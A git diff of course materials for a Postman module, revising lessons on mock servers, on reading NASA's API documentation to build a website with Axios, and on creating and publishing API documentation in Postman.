--- a/Module_Postman/activities/Act5_Mock_Servers/1.md
+++ b/Module_Postman/activities/Act5_Mock_Servers/1.md
@@ -1,12 +1,12 @@
-A **mock server** is a fake API that can simulate server responses without having to completely set up endpoints in the back end beforehand.
+A **mock server** is a fake API that can simulate server responses without having to completely set up endpoints in the **backend** beforehand.
-Now, why would someone use a mock server? Mock servers allow developers to see the what kind of responses they receive in order to further develop their new endpoints to display the desired behavior, and Postman offers the option to create either public or private servers, in which users can control who has permission to access and edit the collection.
+Now, why would someone use a mock server? Mock servers allow developers to see the what kind of responses they receive in order to further develop their new endpoints to display the desired behavior, and Postman offers the option to create either public or private servers, with which users can control who has permission to access and edit the collection.
Mock servers are often used towards the beginning of the API development process, as can be seen in the API Lifestyle diagram posted on the Postman website.
-
+
Let's envision an API Development team—how would different team members use mock servers during this process?
diff --git a/Module_Postman/activities/Act5_Mock_Servers/2.md b/Module_Postman/activities/Act5_Mock_Servers/2.md
index 746dd7d1..fbee58e3 100644
--- a/Module_Postman/activities/Act5_Mock_Servers/2.md
+++ b/Module_Postman/activities/Act5_Mock_Servers/2.md
@@ -6,15 +6,15 @@ Before we dive in, know that Postman matches requests and generates responses fr
To start, go into the Postman app and click on the "New" button on the upper left-hand corner to select the "Mock Server" option. Here, you are going to "Create a new collection", then enter a unique path name under "Request Path" and your desired text output under "Response Body", as shown below.
-
+
The next page will ask you to name you mock server, and there is also the option to make your mock server private as well. This feature will only allow people with the correct API key to access the collection, and this can come in handy for sharing information within a team.
-
+
-When you exit the window, you will notice that you have a new collection with a request and a mock endpoint URL with the path name that you gave it—in this example, the URL will be "{{url}}/hello". When you hit "Send", you are sending a request to that mock server at "/hello", and the text you entered in the response body should appear below!
+When you exit the window, you will notice that you have a new collection with a request and a mock endpoint URL with the path name that you gave it—in this example, the URL will be `{{url}}/hello`. When you hit "Send", you are sending a request to that mock server at "/hello", and the text you entered in the response body should appear below!
-
+
---
diff --git a/Module_Postman/activities/Act5_Mock_Servers/3.md b/Module_Postman/activities/Act5_Mock_Servers/3.md
index e1d87147..2bafe8cd 100644
--- a/Module_Postman/activities/Act5_Mock_Servers/3.md
+++ b/Module_Postman/activities/Act5_Mock_Servers/3.md
@@ -4,13 +4,13 @@ After setting up your mock server, you will start working in Postman Echo!
The **Postman Echo** service allows users to experiment with various responses and, first and foremost, can be used to generate example responses, which we will focus on in this lesson. In order to mock requests properly, we need to know how to generate examples for the mock server to "learn" from.
-
+
-To continue from where we left off from the last lesson, go to the upper right-hand side of your window to click on "Examples" and choose "Default". You can name your example and change your headers, body, status code, and example response body, which is specifically what we will be changing in the photo below.
+To continue from where we left off from the last lesson, go to the upper right-hand side of your window to, under the gear icon click on "Examples" and choose "Default". You can name your example and change your headers, body, status code, and example response body, which is specifically what we will be changing in the photo below.
Then, you should save your work by clicking "Save Example" in the upper right-hand corner before you click back to the mock server page. When you hit "Send" again, you can see what changes have been made, and in this case, the text below should be updated to what we had in the example response!
-
+
---
diff --git a/Module_Postman/activities/Act5_Mock_Servers/4.md b/Module_Postman/activities/Act5_Mock_Servers/4.md
index 1addda76..2aa7378a 100644
--- a/Module_Postman/activities/Act5_Mock_Servers/4.md
+++ b/Module_Postman/activities/Act5_Mock_Servers/4.md
@@ -6,11 +6,11 @@ Let's say that you wanted to an another example with a different type of respons
You can name your example and change your response body as you did with the example in the prior lesson, but this time, you should also change the path name of the server as you can see in the photo below. This will allow you to send a request to different examples through the path name in the URL, so when you save and send a request to this URL, you should be able to see what you wrote in your second example below!
-
+
If we wanted a different corresponding status with a certain response, then we could go back to one of our examples and the "Status" of its response—this will generate a a different expected response. You can see in the photo below that our example's status is now labelled when it was not specified below!
-
+
---
diff --git a/Module_Postman/activities/Act5_Mock_Servers/README.md b/Module_Postman/activities/Act5_Mock_Servers/README.md
new file mode 100644
index 00000000..df15d7e7
--- /dev/null
+++ b/Module_Postman/activities/Act5_Mock_Servers/README.md
@@ -0,0 +1,25 @@
+# Activity/Lab Name
+
+Mock Servers
+
+# Long Summary
+
+Students will learn how to set up mock servers on Postman and learn how to generate exmaples using Postman Echo and simulating API calls.
+
+# Short Summary
+
+Students will be introduced to Postman's mock server and it's capabilities.
+
+# Criteria
+
+1. Can you make a private Postman mock server? If you can, why is it important to be able to make a private one?
+2. What is Postman Echo? What can you do with Postman Echo?
+3. How do you simulate API calls?
+
+# Difficulty
+
+Hard
+
+# Image
+
+
diff --git a/Module_Postman/activities/Act5_Mock_Servers/git 2.keep b/Module_Postman/activities/Act5_Mock_Servers/git 2.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Postman/activities/Act5_Mock_Servers/git.keep b/Module_Postman/activities/Act5_Mock_Servers/git.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/.DS_Store b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/.DS_Store
new file mode 100644
index 00000000..5008ddfc
Binary files /dev/null and b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/.DS_Store differ
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/1.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/1.md
index ccd8e8cf..96c917c3 100644
--- a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/1.md
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/1.md
@@ -4,12 +4,22 @@
-As a front-end developer, one will often find one's self scouring through the internet hoping to find answers to various technical problems. And their search, more often than not, will lead them to two main sources of information: Stack Overflow and a documentation page.
+As a front-end developer, it is easy to become confused and overwhelmed, causing you to look through the internet for resources to help your project. And your search, more often than not, will lead you to two main sources of information: Stack Overflow and a documentation page.
-###Stack Overflow vs Documentation
+### Stack Overflow vs Documentation
-Stack Overflow is a great source of information for all programmers. However, one important thing to note is that SO is not a tutorial website/forum. It does not tell you how to use a language or programming tool in complete detail. Instead, it is a place where one can ask specific questions and get detailed answers pertaining to specific situations. Therefore, it is not a great place to look to when learning new things.
+Stack Overflow and other similar resources are a great source of information for all programmers. However, one important thing to note is that they are not tutorial websites/forums. They do not tell you how to use a language or programming tool in complete detail. Instead, they are places where one can ask specific questions and get detailed answers pertaining to specific situations. Therefore, it is not a great place to look to when learning a broad new concept.
-
+#### Stack Overflow
-The documentation page, on the other hand, contains everything one needs to understand the full use of a tool or language and thus should be the first thing one looks at before moving to SO. By looking at the documentation first, one gets a good preliminary understanding of what they can and should do. Thus, once one has a good grasp of the new content, one would be able to ask more meaningful questions instead of blindly going through various SO posts to learn, leading to holes being formed in one's knowledge and asking wrong questions.
\ No newline at end of file
+
+
+#### Postman Documentation
+
+
+
+
+
+The documentation page, on the other hand, contains full detailed usage of a tool or language. By looking at the documentation first, you will get a good preliminary understanding of what a tool or language is capable of, and how to use it. Thus, once you have a good grasp of the new content, you will be able to ask more meaningful questions instead of blindly going through various SO posts to learn.
+
+In this activity, we will be walking through an API's documentation that was created using Postman's documenter that you will use for your website. You will learn how to use the documentation to gain a fundamental understanding of the capabilities of the API, and how to properly use it.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/2.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/2.md
index ed148c26..111bf51b 100644
--- a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/2.md
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/2.md
@@ -4,7 +4,7 @@
-APIs are essential tools that all front-end developers need to obtain necessary data for their applications. And the best way to learn how to use APIs are from their documentation pages, NOT Stack Overflow. Thus, for this activity, we will be using five different APIs taken from NASA to construct a simple website that does the following things:
+For this activity, we will be using five different HTTP requests to NASA's API to construct a simple website that does the following things:
Get the Picture of the Day from NASA
@@ -14,6 +14,11 @@ APIs are essential tools that all front-end developers need to obtain necessary
Get MARS Rover Opportunity pictures
- These APIs can be found in [Postman](https://documenter.getpostman.com/view/35240/SVmtxerV?version=latest), and the necessary API key can be obtained from [NASA](https://api.nasa.gov/) itself.
+The documentation for NASA's API that was generated from a Postman collection can be found at [Postman](https://documenter.getpostman.com/view/35240/SVmtxerV?version=latest). Open the link, and then click **Run in Postman** on the top right of your screen to open NASA's API collection in Postman.
+
+
+ The necessary API key can be obtained from [NASA](https://api.nasa.gov/). You simply have to go to the link and click the **Get Started** button, then fill out your information and NASA will provide you with the key.
+
+ These API endpoints give you access to valuable information and resources that will make your website more dynamic and interesting. Currently, we do not know how to use these API requests; therefore, let's go through the Postman documentation to learn how to implement them into a website.

\ No newline at end of file
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/3.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/3.md
index 908e90a5..a169908b 100644
--- a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/3.md
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/3.md
@@ -4,25 +4,25 @@
-The first thing to do, whenever looking at documentation, is to find the menu bar. For this documentation page, the menu is on the side and cleanly groups each api call into folders.
+The first thing to do when you open up documentation is to find the documentation for the particular requests you are going to use. Since we are using Postman's documentation, we can easily locate the requests by using the menu panel on th left side of your screen. The menu panel neatly groups together API requests, making it easier to locate your desired HTTP requests.
-
+
-From there, we can see that one of the folders says "Astronomy Picture of the Da...". In that folders lies the Astronomy Picture of the Day APl. Once you have clicked the link to the only API inside that folder, It is important we read two things first in this order:
+Locate the folder titled **Astronomy Picture of the Day (APOD)**. This folder contains one of the API requests that you will be using for your website, the **Today** GET request. After clicking on the folder, let's focus on two aspects of the documentation:
-1) The explanation/description for the API
+1) The explanation/description for the request
-2) The Parameters and Headers for the API
+2) The Parameters and Headers for the request
-These two are important as the first gives you a brief overview of what the API can do, while the second tells you how you can use the API.
+These two are important as the first gives you a brief overview of what the request provides you, while the second tells you how to use the request.
-
+
-For this documentation, there are two descriptions for their APIs. The first gives a summary of what **all** the APIs in the group does, while the second decription is more specific to that one API. The parameters and headers, on the other hand, are below the second description for the API.
+For this documentation, there are two descriptions for the HTTP requests. The first gives a summary of what **all** the requests in the folder do, while the second description is more specific to that individual request. The parameters and headers, on the other hand, are below the second description for the request.
-
+
-The Parameters and Headers section of every API Documentation is important to read as it tells you the necessary data you would need to send along with the request in order to get the correct response. After reading the description and knowing the parameters and headers for this specific API, we can now test our API call in postman.
+The Parameters and Headers section of every API Documentation tells you the necessary data you would need to send along with the request in order to get the desired response. After reading the description and knowing the parameters and headers for this specific request, we can now test our API call in Postman.
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/4.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/4.md
index be3f0003..7c25171e 100644
--- a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/4.md
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/4.md
@@ -4,13 +4,12 @@
-Usually, there is a link or a small window showing what to expect once an API is called. However, for cases when there is none like now, Postman can be put to use. So, grab the API link provided and paste onto a new request on Postman with the required parameters like so:
+Navigate to the Astronomy Picture of the Day (APOD) **Today** GET request in the NASA API Postman collection you opened earlier:
+
-
+Prior to testing the **Today** GET request, you first need to select the **NASA Environment** as your Postman environment. Then, be sure to set your API key to the key you received from NASA's website:
+
-Once send has been clicked, a JSON object should be sent back containing data sent from NASA, including the picture of the day.
-
-
-
-It is important to **always** test out our API call first. The first reason being so that we can know the structure and the data of the API call response. By knowing both, we will be able to navigate through the object and access specific parts of it. The second reason is that by testing out the API first, we will know in full detail on how to use it. As explained later on, documentation is not perfect and it is only through real practice and experimentation can we fully understand the usage of the tool or language we are reading about.
+Now if you click **Send** for the request, you'll receive some JSON data as a response. In this response, you'll find a link to the Astronomy Picture of the Day that NASA is providing you. You can use this link in your website to display various images of space. As we saw from the documentation, you can change the **date** of the image and whether you want to receive an **hd** URL or not. You can try changing the **date** or **hd** option in the request URL to test the endpoint in Postman to receive different images.
+It is important to **always** test out our HTTP requests first. The first reason being so that we can know the structure and the data of the request response. By knowing both, we will be able to navigate through the object and access specific parts of it. The second reason is that by testing out the request first, we will know in full detail on how to use it. As explained later on, documentation is not perfect and it is only through real practice and experimentation can we fully understand the usage of the tool or language we are reading about.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/5.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/5.md
index 18d61016..affe0293 100644
--- a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/5.md
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/5.md
@@ -4,9 +4,8 @@
-Now that we know the API call works and what it will return once called, we can now start writing code for our website. First, we will want to use Axios to perform our API call. For those not in the know, Axios is a very popular JavaScript library you can use to perform HTTP requests. In other words, it is another version of fetch and XLMHttprequest.
+Now that we know the HTTP request works and the format of the response body, we can now start writing code for our website. First, we will want to use Axios to perform our API call. For those not in the know, Axios is a very popular JavaScript library you can use to perform HTTP requests. In other words, it is another version of fetch and XLMHttprequest.

- Now, we can make a function inside our code called ``` showPicture()```, with Axios doing the API call and our state being updated with the response from Axios. Once that is done, we can now move on to implementing getting data about objects nearing earth.
-
+ Now, we can make a function inside our code called ``` showPicture()```, with Axios doing the API call and our state being updated with the response from Axios. Once that is done, we can now move on to implementing getting data about objects nearing earth.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/6.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/6.md
index abf2c832..7a284bb2 100644
--- a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/6.md
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/6.md
@@ -4,24 +4,24 @@
-Just like before, we would need to look at the menu bar on side and see if there is a folder there that would give us a clue about the API we would need to use. Fortunately, there is a folder named "Asteroids Near Earth Objects" at the very top. Inside that folder, There are now three possible API Requests:
+Just like before, we would need to look at the menu bar on side and see if there is a folder there that would give us a clue about the request we would need to use. Fortunately, there is a folder named "Asteroids Near Earth Objects" at the very top. Inside that folder, There are now three possible API Requests:
-
+
-Unlike before we now have to choose between the three API calls that we can use. However, before we do that, It is important to check and see if the API that we need is actually in one of these three. To do so, we should first read the overall description for this group.
+Unlike before we now have to choose between the three HTTP requests that we can use. However, before we do that, it is important to check to see if the request that we need is actually in one of these three. To do so, we should first read the overall description for this group.
-
+
-From this description, it does indeed seem to be that one of the three APIs will give us the data that we want. Now, our next step would be to read the description of each API individually as there is unfortunately no shortcut to this process.
+From this description, appears that one of the three requests will give us the data that we want. Now, our next step would be to read the description of each request individually.
-
+
-Once all three have been read, the one that should stand out the most is the Feed API. The first API also does the job, however the main problem with it is that it gives too much data and does not give the user the ability to filter or limit it as one can see if you read its parameters. This Feed API, on the other hand, lets us choose two dates for its parameters that will filter the data for us.
+Once all three have been read, the one that should stand out the most is the Feed GET request. The first request also does the job; however, the main problem with it is that it gives too much data and does not give the user the ability to filter. This information is apparent from the documentation. This Feed request, on the other hand, lets us choose two dates for its parameters that will filter the data for us:
-
+
-Another difference that we will see in this API is that we can see a window on the right that provides an example of what this API call will send back.
+Another difference that we will see in this request is that we can see a window on the right that provides an example of what this request call will send back.
-By clicking this window, it will expand and show you everything that this API will have to offer in its response. However, it is still important to test and experiment with this API as you will see in the next card.
\ No newline at end of file
+By clicking this window, it will expand and show you everything that this request will have to offer in its response. However, it is still important to test and experiment with this HTTP request as you will see in the next card.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/7.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/7.md
index d93bd874..8f9b6897 100644
--- a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/7.md
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/7.md
@@ -4,17 +4,17 @@
-Now, just like before, we are going to want to copy and paste the link provided onto Postman. Then, we are going to want to input the missing values in our parameters.
+Now, as before, we must locate the **Feed** request in Postman. Then, we are going to want to input the missing values in our parameters.
-
+
-What we should get is a long JSON object as a response. However, what we are going to do differently from before is that we are going to mess around with the parameters to get a better grasp of what our API can and cannot do. Thus, for our first experiment, we will want to change the end_date to 2019-08-29 to see if an error will occur.
+What we should get is a large JSON object as a response. However, what we are going to do differently from before is that we are going to mess around with the parameters to get a better grasp of what our API can and cannot do. Thus, for our first experiment, we will want to change the **end_date** to 2019-08-29 to see if an error will occur.
-
+
-Surprisingly enough, It still works and provides data! Now, we know that the end date and start date does not matter for this specific API. Now, what if the end_date is moved ahead to 2020? Once the request has been sent, we should get this response:
+Surprisingly enough, It still works and provides data! Now, we know that the end date and start date does not matter for this specific request. Now, what if the **end_date** is moved ahead to 2021? Once the request has been sent, we should get this response:
-
+
-Thus, from this little experiment of ours, we know that This API does not care if the end date is before the start date, but it does care about the difference in days between the two. This little experiment has shown that although documentation is very useful and important, it is not perfect. It will not state Everything about what it is documenting about, and some functions or small intricacies can ***only*** be found through experimenting with the subject in question such as now.
+From this experiment, we know that this request does not care if the end date is before the start date, but it does care about the difference in days between the two. This experiment has shown that although documentation is very useful and important, it is not perfect. It will not state *everything* about what it is documenting about, and some functions or small intricacies can ***only*** be found through experimenting with the subject in question such as now.
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/8.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/8.md
index d756996a..2f350701 100644
--- a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/8.md
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/8.md
@@ -4,7 +4,7 @@
-Now that we know more about our API, we can start implementing it in our code. Again, we will be using Axios to make our API call. First, we will want to make a function called ```getNeowsData()``` and place Axios in there. We will also want to change our state inside of the function we just created and set it to the response from Axios. What is different now from before is that we will want to add two parameters: begin and end. Thus our function should look like ```getNeowsData(begin, end)``` to represent the user's input for the start and end date. Then, somewhere in our code, perhaps below the submit button, we can input a little text box like so:
+Now that we know more about our request, we can start implementing it in our code. Again, we will be using Axios to make our HTTP request. First, we will want to make a function called ```getNeowsData()``` and place Axios in there. We will also want to change our state inside of the function we just created and set it to the response from Axios. What is different now from before is that we will want to add two parameters: begin and end. Thus our function should look like ```getNeowsData(begin, end)``` to represent the user's input for the start and end date. Then, somewhere in our code, perhaps below the submit button, we can input a little text box like so:

diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/9.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/9.md
index 51ddeb38..48ca6c38 100644
--- a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/9.md
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/9.md
@@ -4,9 +4,9 @@
-Just like before, we will copy and paste the found API link onto Postman to see what the response will be. Once we get the JSON object back as a response, we will want to start experimenting again with our API. For the earth_date value, we will want to change it to 2012-6-3 and we should see a blank array of photos as a response:
+Just like before, we will find the HTTP request in Postman. Once we send our request and get the JSON object back as a response, we will want to start experimenting again with the request. For the **earth_date** value, we will want to change it to **2012-6-3** and we should see a blank array of photos as a response:
-
+
-From this, we can see that Mars Rover - Curiosity did not take any photo on that day. And that is because the Curiosity Rover did not land on Mars until August 6, 2012. The other two APIs should have a similar problem, where the user may input a date where the Mars Rover of that API is either out of service or has yet to land on Mars. Thus, as we implement these APIs in our code, we should specify for each one the land date and end of service of each respective rover. The implementations should be very similar to past implementations, were we create a function, use Axios to make a API call, and change our state to the response we get.
+From this response, we can see that Mars Rover - Curiosity did not take any photo on that day. And that is because the Curiosity Rover did not land on Mars until August 6, 2012. The other two APIs should have a similar problem, where the user may input a date where the Mars Rover of that API is either out of service or has yet to land on Mars. Thus, as we implement these APIs in our code, we should specify for each one the land date and end of service of each respective rover. The implementations should be very similar to past implementations, were we create a function, use Axios to make a API call, and change our state to the response we get.
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/README.md b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/README.md
new file mode 100644
index 00000000..3d075618
--- /dev/null
+++ b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/README.md
@@ -0,0 +1,19 @@
+# Activity/Lab Name
+APIs for Front-End Devs
+
+# Long Summary
+Students will be using NASA's API on Postman with the goal of implementing the API's requests into their own website. They will test different HTTP requests and use the API's documentation on Postman. They will then create code to implement the request into their website.
+
+# Short Summary
+Students will practice using Postman's documentation to test API calls in Postman to implement them in their own website.
+
+# Criteria
+1. What is the advantage of looking through documentation instead of using websites like Stack Overflow?
+2. Where do you modify the parameters for the HTTP request in Postman?
+3. Why is it important to tests HTTP requests instead of solely relying on documentation?
+
+# Difficulty
+Easy
+
+# Image
+
\ No newline at end of file
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/git 2.keep b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/git 2.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/git.keep b/Module_Postman/activities/Act6_APIs_for_Front-End_Devs/git.keep
new file mode 100644
index 00000000..e69de29b
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/.DS_Store b/Module_Postman/activities/Act7_API_Documentation_in_Postman/.DS_Store
new file mode 100644
index 00000000..5008ddfc
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/.DS_Store differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/1.md b/Module_Postman/activities/Act7_API_Documentation_in_Postman/1.md
index bf8f5e71..2c4b1120 100644
--- a/Module_Postman/activities/Act7_API_Documentation_in_Postman/1.md
+++ b/Module_Postman/activities/Act7_API_Documentation_in_Postman/1.md
@@ -1,13 +1,12 @@
-
+
-# Introduction Menu
+
-In our published Postman API document, we have three main menus, the introduciton menu, main menu, and request code menu. The link to the API documentation we will be covering is https://documenter.getpostman.com/view/7397255/SWLh4RrX?version=latest.
+As a developer, besides knowing how to read and use API documentation, one will often need to document the APIs that were used in one's projects. Now, the question is why? Why do you need to document an API when it already has documentation somewhere else?
-On the left size of the webpage, there is a menu that contains all the folders and the requests. This is the introduction menu.
+
-
+There are actually many good reasons why, but the biggest reason would be for better communication between you and other developers.
-We can click the different requestes and see more details of it in the main menu. The introduction menu allows us to easily skip to a certain request's documentation by simply clicking for it instead of scrolling through the documentation to find that particular request.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/2.md b/Module_Postman/activities/Act7_API_Documentation_in_Postman/2.md
index 74de90d9..1ea99048 100644
--- a/Module_Postman/activities/Act7_API_Documentation_in_Postman/2.md
+++ b/Module_Postman/activities/Act7_API_Documentation_in_Postman/2.md
@@ -1,13 +1,15 @@
-
+
-# Main Menu
+
-In the middle, this is the main menu, which contains the title of the API as well as the verb of the request (Post, Get, Put, Delete), the URL, markdown description, body/parameters descriptions of each endpoints.
+More often than not, as a developer, one will be placed in a team of other developers. This in turn can lead to some misunderstandings and confusions when developing side by side with others as it can be difficult to understand other people's code at times. Also an API could be intended for public use for which documentation will play a significant role in others understanding and utilizing the API. Without proper documentation developers will struggle utilizing the API for its intended purpose.
-
+
-- Markdown desription of a request is important because it tells us more about what is the request is used for. It gives user more context as to how it is used and why such requests are there.
-- Parameters (PARAMS) descriptions allow us to know how to format our parameters when performing our own requests to the API. For the Mars Rover - Spirit, there is a parameter called earth_date. From the documentation, we learn that it must be in YYYY-MM-DD format for our GET request to work.
+To avoid that, doing API documentation can help improve one's understanding of whatever is going on in an application. This is because API documentation effectively tells other developer the tools one is using and how to use them. At the same time, API documentation is essential not just to other people, but to you as well.
+
+
+If done right, it helps remind you of the various APIs you have used, and how to use them without the need to revisit and re-read various API documentations you have once already gone over.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/3.md b/Module_Postman/activities/Act7_API_Documentation_in_Postman/3.md
index 8a33d04b..7b6a617b 100644
--- a/Module_Postman/activities/Act7_API_Documentation_in_Postman/3.md
+++ b/Module_Postman/activities/Act7_API_Documentation_in_Postman/3.md
@@ -1,29 +1,20 @@
-
+
-# Request Code Menu
+
-On the right side of your API Documentation page, there is a menu that includes all of your request code from your collection. You will also see the Example Reponses from the saved examples. By default, the language is in cURL, but you can change the language to one that you prefer. To change the language, simply go to the drop-down bar next to the **Language** section. This is located at the very top of the Request Code Menu.
+Now that you know the importance of API documentation, we can start documenting! In our previous activity, we used 5 different APIs in our web application. To document them, we will be using Postman's easy to use API documenter.
-
+
-This menu section is important to those who would want to incorporate a code from the API documentation into their own code and project. To do so, they are able to view the Example Response code and know the functions of that code. Here is what one would look like.
+
-
+To get started, click the "New" button on the top left corner in the postman documentation.
-If you click on the Example Response box, you are able to view the code in its entirety.
+
-
+Then, choose the "API documentation option". This will lead to the creation of a collection, which in turn will lead to the publication of our API documentation. After choosing the API documentation option, you should see the following screen:
+
-
-In addition to that, you will also see the status of the response in this menu gives you the status of the response. For instance, in each example request, you can either get a failure or success status to indicate the status of the response. Failure is signifed with the 404 code while the success status is signified through the 200 code. You can see this represented in the images below, indicated by the red circles.
-
-Here is one that failed:
-
-
-
-Here is one that was successful:
-
-
\ No newline at end of file
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/4.md b/Module_Postman/activities/Act7_API_Documentation_in_Postman/4.md
new file mode 100644
index 00000000..a9abd20b
--- /dev/null
+++ b/Module_Postman/activities/Act7_API_Documentation_in_Postman/4.md
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+To document the APIs we used, simply copy and paste the API link onto the url box. Then you will want to write a nice, thoughtful description of the API in order for other developers to understand what the API is and how to use it.
+
+
+
+ You will then want to leave the Method box as GET. To explain briefly, GET methods are just reading operations that allow the user GET or read/retrieve data from a database. And since all of our APIs did was retrieve data from the NASA database, they are all GET methods. After inputting in all of the APIs we used, it should look something like the following:
+
+
+
+Once the following is done, we can now move on to the next step, which is to name our collection and give it a description like what we did for the various individual APIs.
\ No newline at end of file
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/5.md b/Module_Postman/activities/Act7_API_Documentation_in_Postman/5.md
new file mode 100644
index 00000000..03de3a0a
--- /dev/null
+++ b/Module_Postman/activities/Act7_API_Documentation_in_Postman/5.md
@@ -0,0 +1,17 @@
+
+
+
+
+
+
+Give an appropriate Name for our API collection in the collection bar. Then, you will want to fill in the description box.
+
+
+
+This part is very important as the description box will tell other developers about the APIs inside our API documentation, as well as various important details that should be known about their usage. Once done, you will want to click save in order to create our API collection.
+
+## Naming the APIs
+
+As you may have noticed, the API names are currently the API links we gave in the URL box. To change this, simply go the side bar menu and click on three dots besides the API name. Then click rename and Name the APIs accordingly.
+
+
\ No newline at end of file
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/6.md b/Module_Postman/activities/Act7_API_Documentation_in_Postman/6.md
new file mode 100644
index 00000000..a3e8baa9
--- /dev/null
+++ b/Module_Postman/activities/Act7_API_Documentation_in_Postman/6.md
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+To add the headers and parameters needed for our APIs, we can simply click on an API and add a key and value to the header and/or parameter. As an example, our parameters for the NEOWS feed API should look like the following:
+
+
+
+Once you do this for all 5 APIs, we can be considered to have finished creating our API documentation
\ No newline at end of file
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/7.md b/Module_Postman/activities/Act7_API_Documentation_in_Postman/7.md
new file mode 100644
index 00000000..ddc0637b
--- /dev/null
+++ b/Module_Postman/activities/Act7_API_Documentation_in_Postman/7.md
@@ -0,0 +1,23 @@
+
+
+
+
+
+
+Now that we have finally finished creating our API documentation, we can head on over to the postman website and check and see what our it looks like. To do so, simply click on the arrow button next to our collection name and click the view in web button.
+
+
+
+This should link you to the following API documentation we made:
+
+
+
+It looks nice doesn't it! However, we are not quite done yet. Despite how beautiful our API documentation looks like, it'll be pointless if no one can see it. Therefore, as the last step, click on the publish button on the top right of our API documentation. Once you do that, you should see the following screen:
+
+
+
+At the very bottom of that page lies another publish button that you have to click. Once you do so, your API documentation will be visible for all to see and marvel at!
+
+Also Postman allows us to edit our documentation in the browser. Clicking on a section of the documentation will allow you to do it.
+
+
\ No newline at end of file
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/README.md b/Module_Postman/activities/Act7_API_Documentation_in_Postman/README.md
new file mode 100644
index 00000000..150ba3b1
--- /dev/null
+++ b/Module_Postman/activities/Act7_API_Documentation_in_Postman/README.md
@@ -0,0 +1,20 @@
+# API Documentation In Postman
+
+# Long Summary
+Students will learn of the importance of API documentation.
+Then, they will create their own documentation using the APIs they used in the last activity on Postman.
+As they create documentation, they will learn what makes a good API Documentation.
+
+# Short Summary
+Using Postman's Documenter, students will learn how to document API.
+
+# Criteria
+1) Why is API Documentation so important? What are the advantages of doing it? Is it worth doing, or is it a waste of time due to there being other documentation being available on the internet?
+2) In your opinion, what is the most important part in creating API documentation? Why?
+3) What makes an API Documentation good?
+
+# Difficulty
+Easy
+
+# Image
+
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 10.05.56 PM.png b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 10.05.56 PM.png
new file mode 100644
index 00000000..46deea80
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 10.05.56 PM.png differ
diff --git a/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 10.20.08 PM.png b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 10.20.08 PM.png
new file mode 100644
index 00000000..9d892b9d
Binary files /dev/null and b/Module_Postman/activities/Act7_API_Documentation_in_Postman/Screen Shot 2020-02-19 at 10.20.08 PM.png differ
